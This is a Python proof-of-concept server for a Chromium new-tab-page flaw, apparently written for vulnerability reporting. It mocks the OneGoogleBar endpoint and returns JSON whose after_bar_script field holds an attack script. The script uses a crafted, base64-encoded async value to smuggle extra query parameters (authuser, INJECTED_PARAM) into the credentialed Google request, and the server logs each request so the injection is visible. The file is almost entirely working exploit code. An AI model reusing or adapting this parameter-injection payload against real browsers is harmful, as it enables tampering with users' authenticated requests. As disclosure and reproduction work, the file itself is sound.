#!/usr/bin/env python3
"""
Mock OneGoogleBar endpoint.

Serves /async/newtab_ogb so that the chrome-untrusted://new-tab-page iframe
loads a server-supplied <script> (after_bar_script). That script -- standing
in for a compromised chrome-untrusted renderer -- issues a same-origin
fetch() to chrome-untrusted://new-tab-page/one-google-bar with a crafted
`paramsencoded` value.

Because OneGoogleBarLoaderImpl::GetApiUrl() concatenates the `async`
parameter raw (no escaping), the second request to /async/newtab_ogb that
arrives here carries attacker-injected top-level query parameters
(authuser=1, INJECTED_PARAM=1).

All requests are logged to stdout and ./requests.log so the injected
parameters are directly observable.
"""
import http.server
import json
import sys
from urllib.parse import urlsplit, parse_qs

PORT = 28080
LOG = "requests.log"
http.server.ThreadingHTTPServer.allow_reuse_address = True

# Payload that runs inside the chrome-untrusted://new-tab-page renderer.
# It issues a *new* one-google-bar subresource request whose `async`
# value contains percent-encoded '&' / '=' so that, after the browser
# percent-decodes it (untrusted_source.cc:ExtractQueryParams) and feeds
# it to GetApiUrl(), extra top-level query parameters are smuggled into
# the credentialed www.google.com/async/newtab_ogb request.
ATTACK_SCRIPT = r"""
(function() {
  if (window.__ogb_poc_done) return;
  window.__ogb_poc_done = true;
  var raw = '&async=fixed:0%26authuser%3D1%26INJECTED_PARAM%3D1';
  var p = new URLSearchParams();
  p.set('paramsencoded', btoa(raw));
  fetch('chrome-untrusted://new-tab-page/one-google-bar?' + p.toString())
      .then(function(r) { return r.text(); })
      .then(function(t) {
        console.log('[POC] one-google-bar response length=' + t.length);
      });
})();
"""

# Minimal valid response for OneGoogleBarLoaderImpl::JsonToOGBData. Populate
# both the legacy ("ogb"/"html") and async-bar-parts ("ogb_parts"/"right_html")
# shapes so it parses regardless of the NtpOneGoogleBarAsyncBarParts feature
# (currently enabled via fieldtrial_testing_config.json on desktop).
def _ogb_dict():
    bar = {
        "private_do_not_access_or_else_safe_html_wrapped_value":
            "<div id='poc-ogb'>POC OGB</div>",
    }
    hooks = {
        "after_bar_script": {
            "private_do_not_access_or_else_safe_script_wrapped_value":
                ATTACK_SCRIPT,
        },
    }
    return {
        "update": {
            "language_code": "en",
            "ogb": {"html": bar, "page_hooks": hooks},
            "ogb_parts": {"right_html": bar, "page_hooks": hooks},
        },
    }


OGB_BODY = ")]}'" + json.dumps(_ogb_dict())


class Handler(http.server.BaseHTTPRequestHandler):
    def _log(self, line):
        sys.stdout.write(line + "\n")
        sys.stdout.flush()
        with open(LOG, "a") as f:
            f.write(line + "\n")

    def do_GET(self):
        parts = urlsplit(self.path)
        qs = parse_qs(parts.query, keep_blank_values=True)
        injected = "INJECTED_PARAM" in qs
        marker = "  <<< INJECTED top-level params present" if injected else ""
        self._log(f"[OGB-REQUEST] {self.path}{marker}")
        for k, v in qs.items():
            self._log(f"    param {k!r} = {v!r}")

        if parts.path == "/async/newtab_ogb":
            body = OGB_BODY.encode()
            self.send_response(200)
            self.send_header("Content-Type", "application/json")
            self.send_header("Content-Length", str(len(body)))
            self.end_headers()
            self.wfile.write(body)
            return

        self.send_response(404)
        self.end_headers()

    def log_message(self, fmt, *args):  # silence default logging
        pass


if __name__ == "__main__":
    open(LOG, "w").close()
    print(f"[server] listening on :{PORT}, logging to {LOG}")
    http.server.ThreadingHTTPServer(("127.0.0.1", PORT), Handler).serve_forever()